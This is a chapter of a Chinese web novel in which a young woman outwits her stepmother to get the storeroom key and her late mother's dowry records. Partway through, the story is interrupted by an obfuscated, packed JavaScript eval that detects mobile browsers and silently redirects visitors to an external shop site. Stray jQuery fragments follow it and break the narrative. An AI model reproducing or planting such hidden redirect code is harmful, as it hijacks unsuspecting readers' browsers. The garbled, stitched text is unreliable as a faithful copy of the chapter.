文趣网 > 都市小说 > 嫁给克妻权臣后 > 14. 钥匙
    马车刚在家门口停下,陈蕊就迎了上来,沈兆先下了车,沈眠玉在绿芜的搀扶下也掀起帘子下车来,还没有站稳,就听到沈兆和陈蕊说话:

    “方才我和眠玉商议了一下,家里正是用钱的时候,她的嫁妆就用她娘留下那些再添置一点,你晚些时候先叫陈伯把府库的册子给她看一看,有什么缺漏的好添补。”

    陈蕊闻言脸色微顿,目光落在站在沈兆身后的沈眠玉脸上,拿着手帕的指尖掐入掌心,她凑近沈兆,一双柔荑轻巧的挽上沈兆的胳膊:“这不好吧老爷,那些东西都封在府库里多少年了?拿出来给眠玉做嫁妆多少有点陈旧了,拿出去换些新的再为她备置一份不好么?”

    她一面说着,一面笑着把沈兆往家里拉,沈心怜看了一眼沈眠玉,也凑了上去,挽住了沈兆的另一边胳膊,严严实实的把沈眠玉挡在了交流圈外,沈眠玉挑了挑眉,跟上他们的脚步一起转移到了正厅坐下。

    “你说的也有道理,那些东西太久不见阳光,确实是有些陈旧,不过眠玉那丫头说她想要留些她娘的旧物,陪她一道嫁进周家。”

    听到陈蕊的建议,沈兆还真仔细思考了一下觉得可行,陈蕊见状连忙笑道:“明白的,也不是全部置换,只是拿出一部分来,这样又能有面子,也能全了那丫头的心意不是?想来姐姐也是想看到这丫头过得幸福的。”

    沈心瑶也微微笑了笑,终于打破了一路以来的沉默,附和陈蕊的话:“是啊,二妹妹毕竟也算是高嫁,若是东西都用些旧的,不知道的以为是母亲苛待你呢,你尽管挑些物件留作念想,其余的便换成新的吧。”

    沈眠玉看着这二人一唱一和,三言两语就要把沈兆说的动摇了,若是真让她们去换,礼单自己拿不到不说,她们昧下的东西自己也拿不回来,不过她也有预料,想从陈蕊的手上拿到当年的册子没有那么容易。

    “母亲和姐姐的话我都明白的,我也只是想留一些念想,让我娘在天之灵能看到我过得好。”

    沈眠玉温顺柔和的点点头,先是附和了陈蕊和沈心瑶的话,见陈蕊微微勾起嘴角,她却话锋一转:

    “只不过,那些东西虽然陈旧,到底是我娘当年留下来的嫁妆,若是拿出去置换物件,恐怕叫人家知道了笑话,沈家居然要动用先夫人的嫁妆来置换钱物,若是单单叫我带走,也只是全了个情意,父亲说是也不是?”

    沈眠玉根本就没有指望从陈蕊这里打开突破口,而是把话锋转向了沈兆,但凡京城世家,哪家沦落到要侵占女子带进门的嫁妆都是要被笑掉大牙的,她就不信沈兆不在意这件事。

    这话一出,本来觉得置换一下新旧这个提议不错的沈兆也又一边捋着胡子,一边低头沉思了,陈蕊见状目光阴沉的滑过沈眠玉的那张脸,随后给沈心瑶使了个眼色。

    沈心瑶笑着上来轻轻扶住了沈眠玉的肩膀:“二妹妹这话说的,且不说我们又不是全都要换掉,只是换一部分,并非变卖,都是要给你一块带走的呀,何况这是我们自己的家事,只要我们自己不往外说出去,别人如何得知呢?”

    陈蕊也迅速接话:“是啊,眠玉你就放心吧,毕竟那些东西太旧,你带到周家也没有面子不是?我既然要替姐姐照顾你,定然不会叫你的嫁妆太寒碜,还是说你信不过我?”

    沈眠玉心下冷笑,看着沈兆颇为认可的点头的神态,抬眼就换上了一副感动的神情,抬手握住沈心瑶的手:“母亲和姐姐的话我都明白的,可是我不愿因为我的事情耽误了姐姐,虽然这是家事,可是如今大选在即,我又订婚,嫁的还不是寻常的勋贵,朝中多少双眼睛盯着我们家?”

    “何况,我娘留下的那些东西,都是些老物件了,就算再是怎么挑拣,要置换的东西也不少,且不论新旧不是一套周家能否看得出来,这些不时兴的贵重物件一下流到市场上,只要有心人一查就能查出来,那就害了沈家几世清名,父亲要如何在朝中自处?”

    眼看沈眠玉越说帽子扣得越大,沈心瑶的笑容僵了僵,试图从她手中抽出手却没能如愿,陈蕊也想要阻止她继续说但已经为时已晚。

    沈兆听到这话果然从陈蕊的臂弯中抽出手来,指尖在桌面上敲了三下,半晌后缓缓开口:“眠玉说的不错,东西若是不成一套,周家打眼一看就知道了,若是全是老物件还能说得过去,还是就用她娘给她留下那套吧,你再另外为她挑选些东西添上。”

    陈蕊的笑脸一时僵在脸上,连刚挽着沈兆的手都不知道要往哪放,沈心瑶轻轻清了清嗓子,陈蕊才回过神来,重新又笑着抚上沈兆的肩膀给他捏肩,一面笑着抬头看沈眠玉,只是那笑意丝毫不到达眼底:

    “还是眠玉想的周全,既然如此,那就用姐姐给你留下的那套吧,不过都入库许多年了,有的物件应该都找不到了,恐怕缺漏的东西不少。”

    沈眠玉微微勾唇笑了笑,抬头看陈蕊:“我也正要与母亲说这事呢,回来的路上我就与父亲商议过了,入库多年了,正好都抬出来清点清点,看看少些什么,也好早日添补上,免得不合规矩,父亲说府库入库的东西一向都是登记在册的,找出来正好盘点一下。”

    陈蕊的笑脸更僵了,给沈兆捏肩的手都顿了顿,随后才勉强笑道:“这都多少年前的事情了,账册恐怕不是那么好找,不若就把箱子抬出来看看吧。”

    “那怎么行呢?母亲一向治家有道,在京城上下都是有名的,我自小不在京城长大,没有学过治家理财,如今要嫁人了,还不曾学过这些规矩,正想借这次盘点向母亲学学如何治家御下呢。”

    沈眠玉一面笑着一面看陈蕊,目光落在对方那张僵住的脸上,语气却是憧憬又期待,沈兆闻言也是认可的点点头,抬手拍了拍搭在自己肩上的陈蕊的手:“眠玉说的是,她都是要做一家主母的人了,礼册都不会看怎么能行,正好府库也多年没开了,瑶瑶也要用药,正好借着这个关头盘点一下吧。”

    沈心瑶见状和陈蕊交换了一个眼神,笑着看沈兆:“爹爹,婚期还没有定下来呢,二妹妹也不急着学这些东西,何况家里如今正是用人之时,不若再等一阵子,过了年关再点吧?”

    不等沈兆开口,沈眠玉就先打断了她的话:“虽然还没有定下来,可毕竟是个大工程若是到时时间紧迫,该如何应对?还是从早打算的好吧,何况我天资愚钝,还是想多向母亲学习两日,正好年关备礼我也可以学习一下,免得以后被人说我不懂规矩,父亲觉得呢?”

    想拖延时间再找借口?门都没有,沈眠玉一双眼睛眨啊眨的看着沈兆,沈兆本来就在乎沈家在外的名声,闻言也是点了点头,当即拍板:“说的是,府务本就复杂,还是多学几日稳妥些,明日你就带着眠玉一起清点府库吧。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17917097|213362||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    陈蕊还想说什么,沈眠玉却再次开口截住了她的话头:“明日一早我就来找母亲讨教,想来母亲定然会倾囊相授,不过母亲可否先把礼单给我看一看呢?我想提前看看是个什么样,这样明日也好跟上母亲的教导。”

    “这……府中事物太多,账册堆积,恐怕不是太好找到,我这就派人回去找,找到了就派人给你送过去。”

    陈蕊说这句话时几乎是逼着自己才没有咬牙切齿,一双美目瞪着沈眠玉,那副慈和的表情几乎都要保持不住。

    然而沈眠玉向来不是见好就收的人,沈眠玉闻言笑眯眯的回答:“没事的,不劳烦母亲,绿芜正好要一道与我嫁到周家去,我带她去账房找一找,她也好学习一些,日后好从旁协助我管家,母亲应当不会介意吧?”

    沈兆还在场,而沈眠玉这话句句都在给她戴高帽,陈蕊被架起来下不来台,只能挤出一个笑:“自然是应该的,晚些时候就把账房的钥匙给你。”

    “我此刻就在这里呢,母亲为何不现在给我呢?母亲也知道账册积年累月,夜里恐怕不好寻找,毕竟明日就要用呢。”

    陈蕊看着沈眠玉那张笑盈盈的脸,恍惚间仿佛看到了陈月站在自己的面前,那种运筹帷幄,不可一世的表情,是她这辈子最恨的神态,她恨不得撕烂那一张脸,让它永远不要出现在自己面前。

    然而沈兆还在,并且见她久没有回话也略微抬头看她,陈蕊微微低头,抬手做了个抹眼泪的动作:“眠玉这话赶话的,怎么说的倒像是要查我的账似的,不知道的以为我才是个贼呢,这些年来我操持家中,自认也是尽心尽力,总不会出了太大的纰漏。”

    一旁站着的沈心瑶也笑着帮腔,看似帮着沈眠玉说话,却注意着沈兆的表情:“母亲,想来二妹妹没有那个意思,只是说的急了些,难不成还能真信不过您不成,是吧妹妹?”

    沈眠玉微微眯眼,她还是低估了陈蕊的应变能力,不过她很快就调整好表情,一副知错的模样:“是我急了些,我绝无怀疑母亲的意思,毕竟母亲和我娘也是一母同胞的姐妹,我把母亲当做我的亲生母亲,见往日妹妹总向母亲撒娇,心中羡慕,不自觉的也向母亲讨要东西了,还望母亲不要介怀。”

    她说这话时,一面说,一面又低头轻轻咳了两声,眼泪也又是涌上眼眶,沈兆一抬头看到她就想到刚才在马车上她的话,叹了口气也拍了拍陈蕊的手:“是啊,你也不要多心了,她就是年纪还小,一时说话急了些,总不过迟早是要给她的,你就把钥匙给她吧。”

    陈蕊一时不好再说什么,那样显得她与小辈计较,半晌只好挤出一个笑,从腰上挂的荷包里取出一把钥匙,走下去作势要递给沈眠玉,沈眠玉伸手去接,却一时没拿过来,她笑了笑抬头看陈蕊,陈蕊才不自然的笑了笑,松手把钥匙放入她掌心,顺便祝嘱咐了一句:“你身子本来就不好,不要找的太晚了。”

    沈眠玉收紧掌心,握紧那一枚小小的钥匙,坚硬的钥匙嵌入掌心,疼痛和剧烈的心跳带动血液的沸腾,那些被封存的,不见天日的过去,终于能被她亲手打开,亲手拿回来。

    “多谢母亲关心,我定然不会因噎废食,也会好好的保管这把钥匙的,毕竟来日方才,不急于一时。”

    沈眠玉微笑着,一字一句的咬重了保管两个字,随后在陈蕊的目光中把那把钥匙收入了袖中。